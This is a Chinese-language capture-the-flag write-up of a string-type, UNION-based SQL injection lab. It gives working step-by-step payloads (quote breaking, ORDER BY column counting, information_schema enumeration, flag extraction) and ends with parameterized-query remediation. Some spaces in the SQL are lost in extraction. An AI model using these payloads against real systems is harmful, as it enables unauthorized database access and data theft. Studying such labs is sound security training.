【好靶场】报错注入-sql注入-字符型
- 前言
- 一、前置核心原理
- 1. 字符型注入的本质:字符串闭合失效
- 2. 注释符 -- 空格的必要性
- 3. 本次注入三大核心语法作用
- 4. UNION 注入硬性规则
- 二、靶场信息与测试目标
- 1. 靶场基础信息(初始仅从页面截图可知)
- 2. 本文测试目标
- 三、漏洞验证与 Flag 获取过程
- 步骤 1:用单引号确认是否存在字符型注入
- 步骤 2:使用 `ORDER BY` 判断字段数量
- 步骤 3:使用 `UNION SELECT` 寻找回显位
- 步骤 4:枚举当前数据库中的数据表
- 步骤 5:枚举 `flag` 表的字段名
- 步骤 6:读取 Flag
- 四、把每一步串成完整的 SQL 执行逻辑
- 五、常见失败点与排查思路
- 1. `--` 后少了空格
- 2. `UNION SELECT` 列数不一致
- 3. 只知道列数,不知道数据展示在哪里
- 4. 表名或字段名没有加引号
- 5. 浏览器、代理工具改变了特殊字符
- 六、漏洞根因与修复建议
- 1. 根因:将外部输入直接拼接到 SQL 文本
- 2. 正确修复:使用参数化查询
- 3. 输入校验只能作为补充
- 4. 不把数据库报错直接返回给用户
- 5. 数据库账户遵循最小权限
- 总结
前言
在 SQL 注入学习中,很多人习惯直接复制 Payload 拿 Flag,却无法独立分析漏洞成因与利用逻辑。想要真正掌握注入,必须建立一套标准化探测流程:判断可控输入、确定闭合方式、探测字段数量、定位回显位置、枚举库表结构、读取目标数据。
本次靶场为单引号闭合字符型 SQL 注入,页面具备 SQL 错误回显且支持 UNION 联合查询。这里做一次关键概念纠正:本题仅依靠报错完成漏洞探测,核心数据利用方式为 UNION 联合查询,不属于报错注入利用。
后端原始 SQL 语句将用户搜索参数直接拼接查询,无过滤、无预编译,存在完整注入漏洞:
SELECTid,name,email,department,salary,phone,addressFROMuserWHEREname='$name'下文将严格按照 0 到 1 的完整复现流程,每一步包含探测意图、输入 Payload、页面现象、原理分析,形成可迁移、可复用的注入思维。
一、前置核心原理
1. 字符型注入的本质:字符串闭合失效
数字型注入无需闭合符号,而字符型注入依靠引号包裹参数,必须破坏引号结构才能篡改 SQL 逻辑。
正常搜索时,参数被单引号完整包裹:
WHEREname='张三'当我们输入单引号'时,原字符串被提前闭合,后端 SQL 出现语法残缺:
WHEREname='''数据库抛出 1064 语法错误,证明用户输入成功参与 SQL 解析,且当前闭合方式为单引号字符型。
2. 注释符 – 空格的必要性
MySQL 中--必须后跟空格才是合法单行注释。
注入的核心逻辑,不仅是构造前面的语句,更需要注释掉后端残留的闭合符号,避免语句报错失效。
输入:' order by 7--
最终生效 SQL:
WHEREname=''ORDERBY7-- '末尾单引号被注释,语句结构完整可正常执行。所有注入失败、语法报错的高频原因,基本都是注释空格丢失、特殊字符被编码导致。
3. 本次注入三大核心语法作用
| 语法 | 核心作用 | 本题使用场景 |
|---|---|---|
ORDER BY | 通过依次递增排序字段,探测原始查询的总列数 | UNION 查询必须保证前后字段数量一致,这是联合注入的硬性前提 |
UNION SELECT | 拼接自定义查询结果,用于在页面回显我们需要的数据 | 读取库名、表名、字段、Flag 数据 |
information_schema | MySQL 系统元数据表,可枚举库、表、字段信息 | 无后台权限时自动枚举数据库结构 |
4. UNION 注入硬性规则
联合查询执行必须满足两个条件:
- 前后两条 SELECT 查询字段数量完全一致;
- 对应字段数据类型兼容、可页面渲染。
经过探测,本题原始查询固定返回 7 列,因此所有 UNION Payload 必须严格构造 7 个字段占位。
二、靶场信息与测试目标
1. 靶场基础信息(初始仅从页面截图可知)
仅能直接观察到的内容:
⚠️ 重点:在最开始测试前,我们完全不知道后端SQL长什么样、查询了几列、表格字段对应关系,这些全部都要靠一步步注入探测得出,不能提前预设。
2. 本文测试目标
在不修改、写入数据库数据的前提下,按顺序完成整套注入验证流程:
确认是否存在字符型注入 ↓ 探测原始SQL查询的列数量 ↓ 定位页面可展示数据的回显位置 ↓ 枚举当前数据库内所有数据表 ↓ 枚举目标flag表内的字段名 ↓ 读取flag字段内的目标数据三、漏洞验证与 Flag 获取过程
步骤 1:用单引号确认是否存在字符型注入
输入内容:
'点击“搜索”后,页面返回:
查询错误: (1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1")观察与分析:
- 错误编号
1064是 MariaDB / MySQL 常见的 SQL 语法错误; - 错误位置紧邻单引号,符合用户输入打断字符串边界的特征;
- 这说明输入很可能没有经过参数化处理,而是被拼接进了 SQL 文本。
结论:
可以初步确认这是一个由单引号闭合的字符型 SQL 注入点。
下一步动作:
既然输入可以改变 SQL 语法,就继续用ORDER BY判断原查询返回了多少列,为UNION SELECT做准备。
步骤 2:使用ORDER BY判断字段数量
先输入:
' order by 7--观察页面现象:
页面没有 SQL 报错,仍然能够正常显示搜索结果表格。
然后将数字增加 1,输入:
' order by 8--观察页面现象:
页面出现数据库错误,常见表现是“未知列”或与排序位置相关的 SQL 错误。
为什么能这样判断:
ORDER BY 7表示按结果集的第 7 列排序。若结果集中确实有第 7 列,数据库可以正常执行;ORDER BY 8则请求按不存在的第 8 列排序,因此会失败。
ORDER BY 7 正常 ORDER BY 8 报错 ↓ 原查询结果集共有 7 列结论:
原查询返回7 列。因此构造联合查询时,UNION SELECT后面也必须提供 7 个字段。
下一步动作:
用1到7作为标记值进行联合查询,确认这 7 个位置中哪些会显示在页面上。
注意:
ORDER BY 8的本质通常不是“语法错误”,而是引用了超出结果集范围的排序列。不同靶场可能对错误信息进行了统一包装,页面上都可能只显示为“查询错误”。判断时以“7 正常、8 稳定失败”的对照现象为准。
步骤 3:使用UNION SELECT寻找回显位
输入内容:
' union select 1,2,3,4,5,6,7--页面回显:
搜索结果表格中出现一行内容:
分析:
这条语句成功执行,说明列数已经匹配。页面字段与联合查询位置的关系如下:
| ID | 姓名 | 邮箱 | 部门 | 薪资 | 电话 | 地址 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | 5 | 6 | 7 |
理论上这 7 个位置都能看到标记值。为了后续记录统一,本文选择第 3 位“邮箱”承载查询结果。将要显示的内容放在第 3 个表达式,其余位置使用常量占位即可。
结论:
第 3 列是稳定、清晰的回显位,后续统一使用:
UNIONSELECT1,2,<要显示的数据>,4,5,6,7下一步动作:
通过information_schema.tables查询当前数据库的表名。
步骤 4:枚举当前数据库中的数据表
输入内容:
' union select 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()--页面回显:
邮箱列显示:
users,flagPayload 语法拆解讲解:
information_schema.tables保存数据库中表的元数据;而:
table_schema=database()把范围限制为当前正在使用的数据库,避免枚举到其他库的表名。
group_concat(table_name)会把多行表名拼成一个逗号分隔的字符串。这样即使页面只显示一行记录,也能一次看到多个表名。
结论:
当前库中至少存在:
users flag其中flag的命名具有明显的题目特征,优先查看其字段结构。
下一步动作:
在information_schema.columns中查询flag表的字段名。为了避免同名表存在于其他数据库,查询时也要加上当前库限制。
步骤 5:枚举flag表的字段名
输入内容:
' union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_schema=database() and table_name='flag'--页面回显:
邮箱列显示:
id,flag分析:
information_schema.columns记录每张表的列信息。这里已经确认:
id:通常为记录编号;flag:字段名直接表明其内容就是题目目标。
结论:
目标数据位于flag表的flag字段中。
下一步动作:
从flag表读取该字段内容。
步骤 6:读取 Flag
输入内容:
' union select 1,2,group_concat(flag),4,5,6,7 from flag--页面回显:
邮箱列直接显示 Flag 字符串。
flag{3bfc1b7d820e465090e090ef93cdaa0b}为什么这里仍使用group_concat():
如果flag表只有一条记录,直接写flag也可以;使用group_concat(flag)的好处是,即使有多条记录,页面仍会将结果拼接为一条字符串返回,适合只有一个固定回显位的场景。
最终结论:
漏洞利用链路完整闭合:输入可控 → 打断字符边界 → 联合查询成功 → 数据库结构可枚举 → 可读取flag字段。至此,本题验证完成。
四、把每一步串成完整的 SQL 执行逻辑
以最后一步为例,搜索框输入:
' union select 1,2,group_concat(flag),4,5,6,7 from flag--服务端拼接后,核心 SQL 逻辑可以理解为:
SELECTid,name,email,department,salary,phone,addressFROMuserWHEREname=''UNIONSELECT1,2,GROUP_CONCAT(flag),4,5,6,7FROMflag-- '其中:
- 开头的
'闭合了name = '中原有的字符串; name = ''通常不会匹配到目标记录,但这不是重点;UNION SELECT把第二段查询的结果追加到页面结果中;GROUP_CONCAT(flag)放在第 3 位,所以会显示在“邮箱”列;--注释掉后端拼接在末尾的单引号。
整个过程可以概括为:
单引号报错 ↓ 确认字符串闭合 ↓ ORDER BY 确认 7 列 ↓ UNION SELECT 1~7 确认回显位 ↓ information_schema 查询表名与字段名 ↓ 从 flag.flag 读取目标内容五、常见失败点与排查思路
1.--后少了空格
错误写法:
' union select 1,2,3,4,5,6,7--推荐写法:
' union select 1,2,3,4,5,6,7--MySQL / MariaDB 中--后通常需要空白字符才能被识别为注释。末尾空格丢失时,原语句的尾部单引号可能没有被注释,导致错误。
2.UNION SELECT列数不一致
例如已确认原查询有 7 列,却误写成:
UNIONSELECT1,2,3数据库会拒绝联合查询。必须保证两个SELECT的列数一致。本题固定使用 7 个位置:
1,2,<回显内容>,4,5,6,73. 只知道列数,不知道数据展示在哪里
ORDER BY只能帮助确定列数,不能判断页面到底显示哪一列。必须继续使用:
' union select 1,2,3,4,5,6,7--通过标记值和表格表头一一对应后,再决定把数据放到哪里。
4. 表名或字段名没有加引号
查询元数据时,字符串条件必须写成字符串:
table_name='flag'而不是:
table_name=flag后者会把flag当作标识符解析,容易造成错误或查询不到结果。
5. 浏览器、代理工具改变了特殊字符
单引号、空格和#等字符在不同请求方式中可能被编码或截断。遇到“本来正确的 Payload 没有预期现象”时,可检查:
- 最终发出的请求参数是否仍包含单引号;
--后的空格是否保留;- 请求是否被前端校验、URL 编码或 WAF 规则改写;
- 同一 Payload 是否能稳定复现相同的状态码、错误提示或回显。
不要仅凭一次页面变化下结论,应使用正常输入、测试输入和重复请求做对照。
六、漏洞根因与修复建议
1. 根因:将外部输入直接拼接到 SQL 文本
漏洞代码的核心问题通常类似:
$sql="SELECT id, name, email, department, salary, phone, address FROM user WHERE name = '$name'";$result=$pdo->query($sql);此时$name不再只是“数据”,而可能成为 SQL 语法的一部分。无论只过滤单引号、空格还是UNION关键字,都无法从根本上解决这个问题。
2. 正确修复:使用参数化查询
以 PDO 为例,应把 SQL 结构与用户数据分开:
$pdo=newPDO($dsn,$username,$password,[PDO::ATTR_ERRMODE=>PDO::ERRMODE_EXCEPTION,PDO::ATTR_EMULATE_PREPARES=>false,]);$sql='SELECT id, name, email, department, salary, phone, address FROM user WHERE name = :name';$stmt=$pdo->prepare($sql);$stmt->execute([':name'=>$name]);$rows=$stmt->fetchAll(PDO::FETCH_ASSOC);在参数化查询中,$name会作为一个值绑定,而不会参与 SQL 语法解析。即使用户输入单引号,也只会被当成普通字符处理。
3. 输入校验只能作为补充
如果业务要求姓名只允许中文、字母、空格和有限长度,应额外做格式与长度校验。但要明确:
输入校验 ≠ SQL 注入的根本修复 预编译 / 参数绑定 = 必须具备的根本修复输入校验用于保证业务数据质量;参数化查询用于隔离代码与数据,防止注入。
4. 不把数据库报错直接返回给用户
本题之所以能快速判断注入类型,是因为页面直接暴露了 MariaDB 错误信息。在生产环境中应:
- 对用户返回统一、无敏感信息的错误提示;
- 将数据库错误写入受保护的服务端日志;
- 配合错误追踪系统定位问题;
- 避免泄露数据库类型、SQL 片段、表名、文件路径和版本信息。
这不能替代参数化查询,但可以减少信息泄露带来的利用便利。
5. 数据库账户遵循最小权限
业务连接账号只授予实际业务表所需的SELECT、INSERT、UPDATE等权限,不使用高权限管理员账号连接应用。最小权限不能消除注入漏洞,但能够在漏洞出现时缩小可读取、可修改的范围。
总结
这道题最重要的不是机械记忆 Payload,而是建立稳定的判断链:
输入 ' 出现数据库语法错误 → 证明引号边界可能可控 ORDER BY 7 正常、ORDER BY 8 失败 → 证明原查询有 7 列 UNION SELECT 1,2,3,4,5,6,7 成功回显 → 确认联合查询可用并定位页面输出列 查询 information_schema.tables / columns → 获得 flag 表和 flag 字段 在第 3 个回显位查询 GROUP_CONCAT(flag) → 读取最终目标数据对于这类字符型联合注入题,始终遵循“先验证、再测列数、再找回显、最后枚举结构与读取数据”的顺序,能显著减少盲猜和无效测试。更重要的是,从防守角度看,所有这些步骤最终都指向同一个根因:应用把不可信输入拼进了 SQL 文本。使用参数化查询,才是解决该问题的正确方式。